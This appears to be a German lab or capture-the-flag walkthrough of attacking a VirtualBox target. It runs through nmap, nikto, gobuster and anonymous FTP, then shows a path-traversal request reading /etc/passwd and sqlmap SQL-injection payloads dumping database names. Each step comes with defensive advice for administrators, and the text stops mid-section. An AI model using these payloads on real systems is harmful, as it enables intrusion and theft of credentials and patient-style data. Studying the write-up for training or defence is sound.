Beginn der Reconnaissance-Phase. Das Ziel ist es, aktive Hosts im lokalen Netzwerk zu identifizieren und grundlegende Informationen über das Zielsystem zu sammeln.
192.168.2.124 08:00:27:d2:ec:61 PCS Systemtechnik GmbH
**Analyse:** Der Befehl `arp-scan -l` sendet ARP-Anfragen (Address Resolution Protocol) an alle möglichen IP-Adressen im lokalen Netzwerksegment (-l steht für --localnet). ARP wird verwendet, um IP-Adressen MAC-Adressen zuzuordnen. Die Ausgabe zeigt, dass die IP-Adresse 192.168.2.124 aktiv ist und die MAC-Adresse 08:00:27:d2:ec:61 hat. Der Hersteller der Netzwerkkarte wird als "PCS Systemtechnik GmbH" identifiziert, was oft ein Hinweis auf eine Virtualisierungslösung wie VirtualBox ist (da Oracle VirtualBox MAC-Adressen aus diesem Bereich verwendet).
**Bewertung:** Dieser Schritt war erfolgreich bei der Identifizierung eines potenziellen Ziels im Netzwerk (192.168.2.124). Das Wissen, dass es sich wahrscheinlich um eine virtuelle Maschine handelt, ist für den Kontext nützlich, beeinflusst die nächsten Schritte aber nur bedingt. Die IP-Adresse ist der entscheidende Fund.
**Empfehlung (Pentester):** Die identifizierte IP-Adresse ist nun das primäre Ziel für weitere Scans. Es ist sinnvoll, diese IP für zukünftige Befehle zu speichern oder zu notieren.
**Empfehlung (Admin):** Netzwerksegmentierung und die Überwachung von ARP-Traffic können helfen, unautorisierte Geräte oder Scans im Netzwerk zu erkennen. Sicherstellen, dass nur autorisierte Geräte im Netzwerk aktiv sind.
192.168.2.124 nivek.vuln
**Analyse:** Der Befehl `vi /etc/hosts` öffnet die lokale Hosts-Datei im Texteditor `vi`. In dieser Datei können manuell Zuordnungen von IP-Adressen zu Hostnamen vorgenommen werden. Hier wird der Eintrag `192.168.2.124 nivek.vuln` hinzugefügt. Dies ermöglicht es dem Pentester, das Zielsystem fortan über den leichter merkbaren Namen `nivek.vuln` anstelle der IP-Adresse anzusprechen.
**Bewertung:** Dies ist ein vorbereitender Schritt zur Vereinfachung der weiteren Arbeit. Er beeinflusst die Sicherheit des Ziels nicht direkt, aber erleichtert dem Pentester die Interaktion, insbesondere wenn Webanwendungen auf spezifische Hostnamen reagieren (Virtual Hosting).
**Empfehlung (Pentester):** Die Verwendung von Hostnamen statt IPs kann in komplexeren Szenarien (z.B. Webserver mit Virtual Hosts) notwendig sein und erleichtert die Lesbarkeit von Befehlen und Berichten.
**Empfehlung (Admin):** Dieser Schritt findet auf der Maschine des Angreifers statt und hat keine direkten Auswirkungen auf das Zielsystem oder dessen Konfiguration.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-06 00:16 CEST Nmap scan report for nivek.vuln (192.168.2.124) Host is up (0.00012s latency). Not shown: 65532 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 |_ftp-anon: Anonymous FTP login allowed (FTP code 230) | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:192.168.2.113 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 1 | vsFTPd 3.0.3 - secure, fast, stable |_End of status 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 3cfceddc9bb324ff2ec351f833207840 (RSA) | 256 915e8168736865eca2de2719c68286a9 (ECDSA) |_ 256 a7ebf6a2c66354e1f51853fcc3e1b228 (ED25519) 7080/tcp open http Apache httpd 2.4.48 ((Unix) OpenSSL/1.1.1k PHP/7.3.29 mod_perl/2.0.11 Perl/v5.32.1) |_http-server-header: Apache/2.4.48 (Unix) OpenSSL/1.1.1k PHP/7.3.29 mod_perl/2.0.11 Perl/v5.32.1 | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set | http-title: Admin Panel |_Requested resource was login.php MAC Address: 08:00:27:D2:EC:61 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.10 - 4.11, Linux 3.16 - 4.6, Linux 3.2 - 4.9, Linux 4.4 Network Distance: 1 hop Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.12 ms nivek.vuln (192.168.2.124)
**Analyse:** Dieser `nmap`-Befehl führt einen umfassenden Scan des Ziels durch: * `-sS`: Führt einen TCP SYN-Scan (Stealth Scan) durch, der schneller und unauffälliger als ein voller TCP-Connect-Scan ist. * `-sC`: Führt die Standard-Nmap-Skripte (`default` category) gegen die gefundenen offenen Ports aus, um weitere Informationen zu sammeln und bekannte Schwachstellen zu identifizieren. * `-T5`: Setzt das Timing-Template auf "insane". Dies beschleunigt den Scan erheblich, kann aber auf instabilen Netzwerken ungenau sein oder Intrusion Detection Systeme (IDS) auslösen. * `-AO`: Versucht, das Betriebssystem zu erkennen. Die Warnung ("Warning: OSScan results may be unreliable...") deutet darauf hin, dass Nmap nicht genügend Informationen sammeln konnte (kein geschlossener Port gefunden), um eine sehr genaue OS-Identifikation durchzuführen. * `192.168.2.124`: Die IP-Adresse des Ziels. * `-p-`: Scannt alle 65535 TCP-Ports (statt nur der Top 1000 Standardports). Die Ausgabe zeigt drei offene Ports: * **Port 21 (FTP):** Läuft `vsftpd 3.0.3`. Die Skripte (`-sC`) haben erkannt, dass **anonymer FTP-Login erlaubt** ist (`Anonymous FTP login allowed`). Dies ist ein kritischer Fund. * **Port 22 (SSH):** Läuft `OpenSSH 7.2p2` auf Ubuntu. Die Hostkeys werden angezeigt. * **Port 7080 (HTTP):** Läuft ein `Apache httpd 2.4.48` Webserver mit `PHP 7.3.29`. Die Skripte haben den Titel "Admin Panel" auf `login.php` identifiziert und festgestellt, dass das `HttpOnly`-Flag für das `PHPSESSID`-Cookie nicht gesetzt ist, was Session-Hijacking über Cross-Site Scripting (XSS) erleichtern könnte. Zusätzlich bestätigt Nmap die MAC-Adresse und versucht eine OS-Identifikation (Linux Kernel 3.x/4.x).
**Bewertung:** Dieser Scan ist sehr erfolgreich und liefert mehrere wichtige Angriffspunkte: 1. **Anonymer FTP-Zugang (Port 21):** Höchste Priorität für weitere Untersuchung. Könnte das Hoch-/Herunterladen von Dateien ermöglichen. 2. **Webserver auf Port 7080:** Das "Admin Panel" deutet auf eine Webanwendung hin, die wahrscheinlich Schwachstellen enthält. Fehlendes `HttpOnly`-Flag ist ein Indikator für potenzielle Sicherheitsprobleme. 3. **SSH auf Port 22:** Ist vorhanden, erfordert aber wahrscheinlich Zugangsdaten. Die `-T5`-Einstellung war hier unproblematisch, kann aber in realen Szenarien zu Problemen führen. Die OS-Erkennung ist vage, aber bestätigt Linux.
**Empfehlung (Pentester):**
1. Sofort den anonymen FTP-Zugang untersuchen: Einloggen und Verzeichnisinhalte prüfen. Prüfen, ob Schreibrechte vorhanden sind.
2. Den Webserver auf Port 7080 genauer untersuchen: Directory Brute-Forcing, Schwachstellen-Scans (z.B. Nikto), manuelle Untersuchung der Login-Seite und anderer gefundener Ressourcen.
3. SSH vorerst zurückstellen, es sei denn, es werden später Zugangsdaten gefunden.
**Empfehlung (Admin):**
1. **Anonymen FTP-Zugang deaktivieren**, es sei denn, er ist absolut notwendig und entsprechend abgesichert (z.B. read-only, dediziertes Verzeichnis ohne sensible Daten).
2. **Webserver härten:** `HttpOnly`- und `Secure`-Flags für Cookies setzen, Web Application Firewall (WAF) implementieren, Software (Apache, PHP) aktuell halten. Port 7080 ist unüblich, prüfen ob dies notwendig ist.
3. **SSH härten:** Passwort-Authentifizierung deaktivieren (nur Key-basiert erlauben), Zugriff auf bestimmte IPs/Benutzer beschränken, Fail2Ban oder ähnliche Tools verwenden.
4. Firewall-Regeln überprüfen: Nur notwendige Ports sollten von außen erreichbar sein. Der `-T5` Scan könnte durch Netzwerk-Monitoring erkannt werden; Rate-Limiting kann solche aggressiven Scans erschweren.
Fokus auf den auf Port 7080 gefundenen Webserver. Ziel ist es, Schwachstellen, interessante Dateien oder Verzeichnisse und die Struktur der Webanwendung aufzudecken.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.124 + Target Hostname: 192.168.2.124 + Target Port: 7080 + Start Time: 2023-06-06 00:18:30 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.48 (Unix) OpenSSL/1.1.1k PHP/7.3.29 mod_perl/2.0.11 Perl/v5.32.1 + /: Retrieved x-powered-by header: PHP/7.3.29. + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + /: Cookie PHPSESSID created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies + Root page / redirects to: login.php + /index: Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. The following alternatives for ' + PHP/7.3.29 appears to be outdated (current is at least 8.1.5), PHP 7.4.28 for the 7.4 branch. + Apache/2.4.48 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. + OpenSSL/1.1.1k appears to be outdated (current is at least 3.0.7). OpenSSL 1.1.1s is current for the 1.x branch and will be supported until Nov 11 2023. + /: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: https://owasp.org/www-community/attacks/Cross_Site_Tracing + /files/: Directory indexing found. + /files/: This might be interesting. + /pages/: Directory indexing found. + /pages/: This might be interesting. + /icons/: Directory indexing found. + /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/ + /login.php: Admin login page/section found. + /test.php: This might be interesting. + 8908 requests: 0 error(s) and 17 item(s) reported on remote host + End Time: 2023-06-06 00:18:56 (GMT2) (26 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
**Analyse:** Der Befehl `nikto -h 192.168.2.124:7080` führt einen Webserver-Schwachstellenscan mit Nikto durch. Nikto prüft auf tausende bekannte gefährliche Dateien/CGIs, veraltete Softwareversionen und serverspezifische Probleme. Die Ausgabe bestätigt die bereits bekannten Softwareversionen (Apache, PHP, OpenSSL) und meldet erneut das fehlende `HttpOnly`-Flag für das Session-Cookie sowie das Fehlen wichtiger Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`). **Neue, wichtige Funde:** * **Veraltete Software:** PHP, Apache und OpenSSL sind veraltet und potenziell anfällig für bekannte Exploits. * **HTTP TRACE aktiv:** Könnte Cross-Site Tracing (XST) ermöglichen, eine Methode, um Cookies (auch solche mit `HttpOnly`) zu stehlen, falls andere Schwachstellen wie XSS vorhanden sind. * **Directory Indexing:** Die Verzeichnisse `/files/`, `/pages/` und `/icons/` sind browsebar. Dies kann sensible Informationen offenlegen. * **Interessante Dateien/Verzeichnisse:** Nikto markiert `/files/`, `/pages/` und insbesondere `/test.php` als potenziell interessant. Die Standarddatei `/icons/README` wurde ebenfalls gefunden. * Die Root-Seite `/` leitet zu `login.php` weiter.
**Bewertung:** Nikto liefert sehr wertvolle Informationen und bestätigt die Ergebnisse des Nmap-Scans. Die veralteten Softwareversionen sind ein großes Warnsignal. Directory Indexing und die Datei `/test.php` sind konkrete Punkte für die weitere Untersuchung. Die fehlenden Sicherheitsheader und die aktive TRACE-Methode deuten auf eine generell mangelhafte Konfiguration des Webservers hin.
**Empfehlung (Pentester):**
1. Die Verzeichnisse `/files/` und `/pages/` manuell im Browser untersuchen.
2. Die Datei `/test.php` genauer analysieren (im Browser aufrufen, Quellcode prüfen, Parameter testen).
3. Recherchieren nach bekannten Exploits für Apache 2.4.48, PHP 7.3.29 und OpenSSL 1.1.1k.
4. Die fehlenden Sicherheitsheader und TRACE im Hinterkopf behalten, falls XSS gefunden wird.
**Empfehlung (Admin):**
1. **Software dringend aktualisieren:** Apache, PHP und OpenSSL auf die neuesten stabilen Versionen patchen.
2. **Directory Indexing deaktivieren:** In der Apache-Konfiguration (`Options -Indexes`).
3. **Sicherheitsheader hinzufügen:** `X-Frame-Options`, `X-Content-Type-Options`, `Content-Security-Policy` etc. in der Server- oder Anwendungskonfiguration setzen.
4. **HTTP TRACE deaktivieren:** In der Apache-Konfiguration (`TraceEnable Off`).
5. Unnötige Dateien und Verzeichnisse (wie `/test.php`, falls nicht benötigt, oder das `/icons/`-Verzeichnis) entfernen oder den Zugriff darauf beschränken.
21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0) 7080/tcp open http Apache httpd 2.4.48 ((Unix) OpenSSL/1.1.1k PHP/7.3.29 mod_perl/2.0.11 Perl/v5.32.1)
**Analyse:** Dieser Befehl wiederholt den vorherigen Nmap-Scan (`-sS -sC -T5 -AO -p-`), leitet die Ausgabe aber durch `grep open`. `grep open` filtert die Ausgabe und zeigt nur die Zeilen an, die das Wort "open" enthalten. Dies dient dazu, eine schnelle Übersicht über die offenen Ports zu erhalten, ohne die gesamte detaillierte Ausgabe erneut durchsehen zu müssen.
**Bewertung:** Dies ist eine reine Anzeigeoptimierung. Der Scan selbst liefert keine neuen Informationen im Vergleich zum vorherigen Nmap-Scan. Es bestätigt lediglich die bereits bekannten offenen Ports 21, 22 und 7080. Die Wiederholung des Scans war in diesem Fall nicht unbedingt notwendig, schadet aber auch nicht.
**Empfehlung (Pentester):** Die Verwendung von `grep` zur Filterung von Tool-Ausgaben ist eine nützliche Technik, um sich schnell auf relevante Informationen zu konzentrieren. In einem Bericht ist es jedoch oft besser, die vollständige Ausgabe des ersten Scans zu zeigen und dann die relevanten Teile hervorzuheben.
**Empfehlung (Admin):** Keine spezifische Empfehlung, da dies eine Aktion des Angreifers zur Optimierung seiner Ansicht ist. Die zugrunde liegenden offenen Ports bleiben das eigentliche Thema.
Connected to 192.168.2.124. 220 (vsFTPd 3.0.3) Name (192.168.2.124:cyber): anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls -la 229 Entering Extended Passive Mode (|||5658|) 150 Here comes the directory listing. drwxr-xr-x 2 0 118 4096 Jul 26 2021 . drwxr-xr-x 2 0 118 4096 Jul 26 2021 .. 226 Directory send OK.
**Analyse:** Der Befehl `ftp 192.168.2.124` startet den FTP-Client und verbindet sich mit dem Ziel. Auf die Aufforderung `Name` wird `anonymous` eingegeben. Da der Server anonymen Zugriff erlaubt (wie von Nmap erkannt), wird nach einem Passwort gefragt (typischerweise wird hier die E-Mail-Adresse erwartet, aber oft ist auch kein Passwort oder ein beliebiges Passwort ausreichend). Hier wurde die Eingabetaste gedrückt (leeres Passwort), was zum erfolgreichen Login (`230 Login successful.`) führte. Der Befehl `ls -la` im FTP-Client listet den Inhalt des aktuellen Verzeichnisses auf dem FTP-Server auf. Die Ausgabe zeigt nur die Standardverzeichnisse `.` (aktuelles Verzeichnis) und `..` (übergeordnetes Verzeichnis). Es sind keine weiteren Dateien oder Verzeichnisse im Stammverzeichnis des FTP-Servers sichtbar.
**Bewertung:** Der anonyme Login war erfolgreich, was die Nmap-Ergebnisse bestätigt. Allerdings scheint das Stammverzeichnis des FTP-Servers leer zu sein, was den unmittelbaren Nutzen dieses Zugangs einschränkt. Es gibt keine offensichtlichen Dateien zum Herunterladen.
**Empfehlung (Pentester):** Prüfen, ob Schreibrechte vorhanden sind (z.B. mit `put
**Empfehlung (Admin):** Anonymen FTP-Zugang deaktivieren, um unautorisierte Logins zu verhindern, selbst wenn das Verzeichnis aktuell leer zu sein scheint. Falls anonymer Zugriff benötigt wird, sicherstellen, dass keine Schreibrechte bestehen und der Zugriff auf ein harmloses, isoliertes Verzeichnis beschränkt ist.
============================================================================================================================== http://nivek.vuln:7080/index.php (Status: 302) [Size: 14041] [--> login.php] http://nivek.vuln:7080/login.php (Status: 200) [Size: 4087] http://nivek.vuln:7080/profile.php (Status: 302) [Size: 13736] [--> login.php] http://nivek.vuln:7080/files (Status: 301) [Size: 237] [--> http://nivek.vuln:7080/files/] http://nivek.vuln:7080/pages (Status: 301) [Size: 237] [--> http://nivek.vuln:7080/pages/] http://nivek.vuln:7080/header.php (Status: 200) [Size: 4924] http://nivek.vuln:7080/signup.php (Status: 200) [Size: 6514] http://nivek.vuln:7080/footer.php (Status: 200) [Size: 1783] http://nivek.vuln:7080/test.php (Status: 200) [Size: 6] http://nivek.vuln:7080/logout.php (Status: 200) [Size: 48] http://nivek.vuln:7080/head.php (Status: 200) [Size: 1741] http://nivek.vuln:7080/connect.php (Status: 200) [Size: 1] http://nivek.vuln:7080/sidebar.php (Status: 200) [Size: 2238] http://nivek.vuln:7080/forgot_password.php (Status: 200) [Size: 5614] http://nivek.vuln:7080/department.php (Status: 302) [Size: 13653] [--> login.php] http://nivek.vuln:7080/medicine.php (Status: 302) [Size: 13972] [--> login.php] http://nivek.vuln:7080/doctor.php (Status: 302) [Size: 16844] [--> login.php] http://nivek.vuln:7080/treatment.php (Status: 302) [Size: 13963] [--> login.php]
**Analyse:** Dieser Befehl verwendet `gobuster`, ein Tool zum Brute-Forcen von Verzeichnissen und Dateien auf Webservern. * `dir`: Gibt an, dass nach Verzeichnissen und Dateien gesucht werden soll (Directory/File Brute-Forcing). * `-u http://nivek.vuln:7080`: Die Ziel-URL. * `-x txt,php,...`: Eine Liste von Dateiendungen, die Gobuster zusätzlich zu den Einträgen in der Wortliste testen soll (z.B. wenn die Wortliste `admin` enthält, testet Gobuster `admin`, `admin.txt`, `admin.php` usw.). * `-w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt"`: Die Wortliste, die für den Brute-Force-Angriff verwendet wird. Dies ist eine gängige, mittelgroße Liste. * `-b '403,404'`: Gibt Statuscodes an, die ignoriert werden sollen (Forbidden, Not Found). Standardmäßig zeigt Gobuster alle außer 404 an. * `-e`: Erweiterter Modus, zeigt die vollständige URL für gefundene Ressourcen an. * `--no-error`: Unterdrückt Fehlermeldungen (z.B. bei Verbindungsproblemen). Die Ausgabe listet gefundene Pfade auf dem Webserver mit ihrem HTTP-Statuscode und der Größe der Antwort auf. Viele Seiten (`profile.php`, `department.php`, etc.) leiten mit Status 302 (Found/Redirect) auf `login.php` weiter, was darauf hindeutet, dass sie eine Authentifizierung erfordern. **Interessante Funde:** * `login.php`, `signup.php`, `forgot_password.php`: Standardseiten für Benutzerverwaltung. * `test.php`: Bestätigt den Fund von Nikto. Die geringe Größe (6 Bytes) ist auffällig. * `connect.php`: Könnte eine Datenbankverbindungsdatei sein. Sehr klein (1 Byte), was ungewöhnlich ist. * `files/`, `pages/`: Bestätigt die von Nikto gefundenen Verzeichnisse (Status 301 leitet zum Verzeichnis mit Slash weiter). * Viele andere PHP-Dateien, die Teil der Anwendung zu sein scheinen (`header.php`, `footer.php`, `sidebar.php`, etc.).
**Bewertung:** Gobuster hat erfolgreich zahlreiche existierende Pfade aufgedeckt und die Struktur der Webanwendung weiter erhellt. Die Datei `/test.php` bleibt ein Hauptziel für die Untersuchung. `connect.php` ist ebenfalls verdächtig. Die vielen Umleitungen zu `login.php` bestätigen, dass ein Großteil der Anwendung hinter einem Login liegt.
**Empfehlung (Pentester):**
1. `/test.php` und `connect.php` manuell im Browser aufrufen und analysieren.
2. Die Verzeichnisse `/files/` und `/pages/` untersuchen (wie bereits nach Nikto empfohlen).
3. Die `login.php`, `signup.php` und `forgot_password.php` auf Schwachstellen untersuchen (SQL-Injection, schwache Passwörter, Logikfehler).
4. Die gefundenen Dateinamen können Hinweise auf die verwendete Technologie oder das CMS geben.
**Empfehlung (Admin):**
1. Zugriff auf nicht benötigte Dateien und Skripte (wie `test.php`, `connect.php`, falls nicht produktiv genutzt) beschränken oder diese entfernen.
2. Sicherstellen, dass Verzeichnisse wie `/files/` und `/pages/` keine sensiblen Informationen enthalten und Directory Listing deaktiviert ist.
3. Robuste Authentifizierungs- und Autorisierungsmechanismen implementieren.
4. Web Application Firewall (WAF) einsetzen, um Brute-Force-Angriffe wie die von Gobuster zu erkennen und zu blockieren.
daemon <!-- for any PHP, Codeignitor or Laravel work contact me at mayuri.infospace@gmail.com -->
**Analyse:** Der Befehl `curl` wird verwendet, um eine HTTP-Anfrage an die URL `http://nivek.vuln:7080/test.php` zu senden. Es wird ein Parameter `file` mit dem Wert `../../../../../etc/passwd` übergeben. Das Muster `../../` ist ein typischer Versuch, eine Local File Inclusion (LFI)-Schwachstelle auszunutzen. Es navigiert im Dateisystem des Servers nach oben, um auf Dateien außerhalb des Web-Root-Verzeichnisses zuzugreifen. Das Ziel ist hier die Datei `/etc/passwd`, die auf Linux-Systemen Benutzerinformationen enthält. Die Ausgabe enthält das Wort `daemon` und einen HTML-Kommentar. Das Wort `daemon` ist der erste Benutzer in einer typischen `/etc/passwd`-Datei. Der HTML-Kommentar scheint Teil der eigentlichen `test.php`-Datei zu sein. Dass nur `daemon` angezeigt wird und nicht der Rest der `/etc/passwd`-Datei, ist ungewöhnlich, deutet aber stark darauf hin, dass die LFI-Schwachstelle existiert und die Datei `/etc/passwd` gelesen wurde, auch wenn die Ausgabe unvollständig oder gefiltert ist.
**Bewertung:** **Kritische Schwachstelle gefunden!** Die `test.php`-Datei ist anfällig für Local File Inclusion (LFI). Dies ermöglicht es einem Angreifer, beliebige Dateien auf dem Server zu lesen, auf die der Webserver-Prozess (hier wahrscheinlich `daemon`, wie die Ausgabe andeutet) Lesezugriff hat. Auch wenn die Ausgabe hier unvollständig wirkt, ist das Prinzip bewiesen. Der HTML-Kommentar gibt zudem einen Hinweis auf den möglichen Entwickler und verwendete Technologien (PHP, Codeigniter, Laravel).
**Empfehlung (Pentester):**
1. Versuchen, andere sensible Dateien zu lesen (z.B. `/etc/shadow`, Konfigurationsdateien der Webanwendung, SSH-Keys, Logdateien).
2. Prüfen, ob die LFI zur Remote Code Execution (RCE) eskaliert werden kann (z.B. durch Einbinden von Log-Dateien mit injiziertem PHP-Code oder über PHP-Wrapper wie `php://filter` oder `php://input`).
3. Den Quellcode von `test.php` versuchen zu lesen, um die Funktionsweise genau zu verstehen (z.B. mit `curl http://nivek.vuln:7080/test.php?file=test.php` oder über `php://filter`).
4. Den im Kommentar genannten Entwickler/Kontakt recherchieren (könnte auf Standard-Passwörter oder weitere Informationen hindeuten).
**Empfehlung (Admin):**
1. **LFI-Schwachstelle sofort beheben!** Benutzereingaben (wie der `file`-Parameter) dürfen niemals direkt zur Konstruktion von Dateipfaden verwendet werden. Eingaben validieren und sanitisieren. Idealerweise eine Whitelist erlaubter Dateien verwenden statt Pfad-Manipulation zuzulassen.
2. Die Datei `test.php` sofort entfernen oder deaktivieren.
3. Die Berechtigungen des Webserver-Benutzers (`daemon`) überprüfen und auf das absolut notwendige Minimum beschränken.
4. Den gesamten Quellcode der Webanwendung auf ähnliche Schwachstellen überprüfen (Audit).
5. Den Hinweis auf den Entwickler und die Technologien ernst nehmen und prüfen, ob externe oder Standardkomponenten korrekt und sicher eingebunden wurden.
Aufbauend auf den Erkenntnissen aus der Reconnaissance- und Enumerationsphase wird nun versucht, einen ersten Zugriff auf das System zu erlangen. Die vielversprechendsten Angriffsvektoren sind der anonyme FTP, die LFI-Schwachstelle und die Login-Seite des Admin-Panels.
Connected to 192.168.2.124. 220 (vsFTPd 3.0.3) Name (192.168.2.124:cyber): anonymous 331 Please specify the password. Password: anonymous 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> put hash.txt local: hash.txt remote: hash.txt 229 Entering Extended Passive Mode (|||54363|) 550 Permission denied. ftp> cd /home 550 Failed to change directory.
**Analyse:** Erneuter Login auf dem FTP-Server als `anonymous`. Dieses Mal wird explizit `anonymous` als Passwort eingegeben, was ebenfalls funktioniert. Der Versuch, eine Datei namens `hash.txt` hochzuladen (`put hash.txt`), scheitert mit `550 Permission denied`. Der Versuch, in das Verzeichnis `/home` zu wechseln (`cd /home`), scheitert ebenfalls (`550 Failed to change directory.`).
**Bewertung:** Dies bestätigt, dass der anonyme FTP-Benutzer keine Schreibrechte hat und auch nicht in andere Verzeichnisse außerhalb seines zugewiesenen (leeren) Stammverzeichnisses wechseln kann. Der anonyme FTP-Zugang scheint für den Initial Access in dieser Form unbrauchbar zu sein.
**Empfehlung (Pentester):** Den FTP-Server vorerst nicht weiter verfolgen, da er keine direkten Möglichkeiten bietet. Konzentration auf die Webanwendung (LFI, Login).
**Empfehlung (Admin):** Die Konfiguration des FTP-Servers ist hier restriktiv genug, um das Hochladen von Dateien oder das Navigieren im Dateisystem zu verhindern. Die Deaktivierung des anonymen Zugangs bleibt jedoch die sicherste Maßnahme.
Da die LFI zwar das Lesen von Dateien ermöglicht, aber nicht direkt zur Codeausführung führte und der FTP-Zugang beschränkt ist, wird nun die Login-Seite (`login.php`) auf Schwachstellen, insbesondere SQL-Injection, untersucht. Hierzu wird eine Beispielanfrage mit Burp Suite oder einem ähnlichen Proxy abgefangen und für `sqlmap` gespeichert. Der Inhalt der Anfrage (`nike.req`) wird hier gezeigt.
POST /login.php HTTP/1.1 Host: nivek.vuln:7080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 51 Origin: http://nivek.vuln:7080 Connection: close Referer: http://nivek.vuln:7080/login.php Cookie: PHPSESSID=52f70e25e47b0bcb8c4859681a3c4f29 Upgrade-Insecure-Requests: 1 user=admin&email=sv%40doc.de&password=sv&btn_login=
**Analyse:** Dies ist der Inhalt einer HTTP POST-Anfrage an `/login.php`. Die Anfrage sendet Formulardaten (`application/x-www-form-urlencoded`) mit den Parametern `user=admin`, `email=sv@doc.de` (das `@` ist URL-kodiert als `%40`), `password=sv` und `btn_login=`. Diese Daten repräsentieren einen fehlgeschlagenen Login-Versuch. Wichtig für `sqlmap` sind die URL (`http://nivek.vuln:7080/login.php`) und die POST-Daten.
**Bewertung:** Die Anfrage ist korrekt formatiert und enthält mehrere Parameter (`user`, `email`, `password`), die potenzielle Angriffspunkte für SQL-Injection darstellen. Das Speichern dieser Anfrage in einer Datei (hier `nike.req`) ist eine Standardprozedur für die Verwendung mit `sqlmap`.
**Empfehlung (Pentester):** Die gespeicherte Anfrage nun mit `sqlmap` verwenden, um die Parameter auf SQL-Injection-Schwachstellen zu testen.
**Empfehlung (Admin):** Alle Benutzereingaben, insbesondere solche, die in Datenbankabfragen verwendet werden (wie Login-Daten), müssen serverseitig validiert und mit parametrisierten Abfragen (Prepared Statements) verarbeitet werden, um SQL-Injection zu verhindern.
POST parameter 'email' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection point(s) with a total of 3372 HTTP(s) requests: --- Parameter: email (POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment) Payload: user=admin&email=sv@doc.de' OR NOT 3713=3713#&password=sv&btn_login= Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: user=admin&email=sv@doc.de' OR (SELECT 4509 FROM(SELECT COUNT(*),CONCAT(0x7176786b71,(SELECT (ELT(4509=4509,1))),0x7176786a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- syOC&password=sv&btn_login= Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: user=admin&email=sv@doc.de' AND (SELECT 6404 FROM (SELECT(SLEEP(5)))GsKe)-- cBRW&password=sv&btn_login= --- [00:42:57] [INFO] the back-end DBMS is MySQL ----------------------------------------------------------------------------------- back-end DBMS: MySQL >= 5.0 (MariaDB fork) [00:42:57] [INFO] fetching database names [00:42:57] [INFO] retrieved: 'information_schema' [00:42:57] [INFO] retrieved: 'phpmyadmin' [00:42:57] [INFO] retrieved: 'clinic_db' [00:42:57] [INFO] retrieved: 'test' [00:42:57] [INFO] retrieved: 'performance_schema' [00:42:57] [INFO] retrieved: 'mysql' available databases [6]: [*] clinic_db [*] information_schema [*] mysql [*] performance_schema [*] phpmyadmin [*] test [00:42:57] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/nivek.vuln' [*] ending @ 00:42:57 /2023-06-06/
**Analyse:** Dieser Befehl startet `sqlmap` mit der zuvor gespeicherten Anfrage: * `-r /home/cyber/Downloads/nike.req`: Lädt die HTTP-Anfrage aus der Datei. * `--dbs`: Weist `sqlmap` an, zu versuchen, die Namen aller verfügbaren Datenbanken aufzulisten. * `--batch`: Führt `sqlmap` im nicht-interaktiven Modus aus und verwendet Standardantworten für die meisten Fragen. `sqlmap` identifiziert schnell, dass der **Parameter `email` anfällig für SQL-Injection** ist. Es erkennt verschiedene Typen von SQL-Injection (boolean-based blind, error-based, time-based blind) und identifiziert das Backend-Datenbanksystem als MySQL >= 5.0 (MariaDB fork). Anschließend listet es erfolgreich die verfügbaren Datenbanken auf: `clinic_db`, `information_schema`, `mysql`, `performance_schema`, `phpmyadmin`, `test`.
**Bewertung:** **Kritische Schwachstelle gefunden und bestätigt!** Die Webanwendung ist über den `email`-Parameter im Login-Formular anfällig für SQL-Injection. Dies ermöglicht es, beliebige SQL-Befehle an die Datenbank zu senden. Die Datenbank `clinic_db` scheint die Anwendungsdatenbank zu sein, während `mysql` und `information_schema` Systemdatenbanken sind, die ebenfalls interessante Informationen (wie Benutzerdaten oder Tabellenstrukturen) enthalten können.
**Empfehlung (Pentester):**
